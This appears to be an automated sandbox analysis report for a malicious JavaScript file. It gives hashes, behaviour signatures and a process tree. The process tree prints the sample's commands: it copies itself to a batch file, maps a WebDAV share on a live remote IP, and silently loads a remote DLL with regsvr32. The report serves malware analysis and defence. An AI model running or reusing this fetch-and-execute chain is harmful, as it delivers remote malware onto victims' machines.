Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
10-07-2024 21:08
Static task
static1
Behavioral task
behavioral1
Sample
107862867251714461.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
107862867251714461.js
Resource
win10v2004-20240704-en
General
-
Target
107862867251714461.js
-
Size
5KB
-
MD5
449c6f1596ed56bca29bd7989ab30356
-
SHA1
b0a8637d00489795dd6f6ab017f60ca25ffb8e6f
-
SHA256
527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550
-
SHA512
64d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be
-
SSDEEP
96:6CvDb5jf//afkQDjf//eR0RR83UQKpkmKzfrre2fWFTCkkTJ:6y5jeZDjmR0RgUQzmKzfrre2fWFTCkkl
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
regsvr32.exepid process 2500 regsvr32.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
wscript.execmd.exedescription pid process target process PID 2872 wrote to memory of 2108 2872 wscript.exe cmd.exe PID 2872 wrote to memory of 2108 2872 wscript.exe cmd.exe PID 2872 wrote to memory of 2108 2872 wscript.exe cmd.exe PID 2108 wrote to memory of 2612 2108 cmd.exe net.exe PID 2108 wrote to memory of 2612 2108 cmd.exe net.exe PID 2108 wrote to memory of 2612 2108 cmd.exe net.exe PID 2108 wrote to memory of 2500 2108 cmd.exe regsvr32.exe PID 2108 wrote to memory of 2500 2108 cmd.exe regsvr32.exe PID 2108 wrote to memory of 2500 2108 cmd.exe regsvr32.exe PID 2108 wrote to memory of 2500 2108 cmd.exe regsvr32.exe PID 2108 wrote to memory of 2500 2108 cmd.exe regsvr32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\107862867251714461.js1⤵
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\107862867251714461.js" "C:\Users\Admin\\umyzgh.bat" && "C:\Users\Admin\\umyzgh.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\net.exenet use \\45.9.74.13@8888\DavWWWRoot\3⤵PID:2612
-
C:\Windows\system32\regsvr32.exeregsvr32 /s \\45.9.74.13@8888\DavWWWRoot\623.dll3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2500
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5449c6f1596ed56bca29bd7989ab30356
SHA1b0a8637d00489795dd6f6ab017f60ca25ffb8e6f
SHA256527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550
SHA51264d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be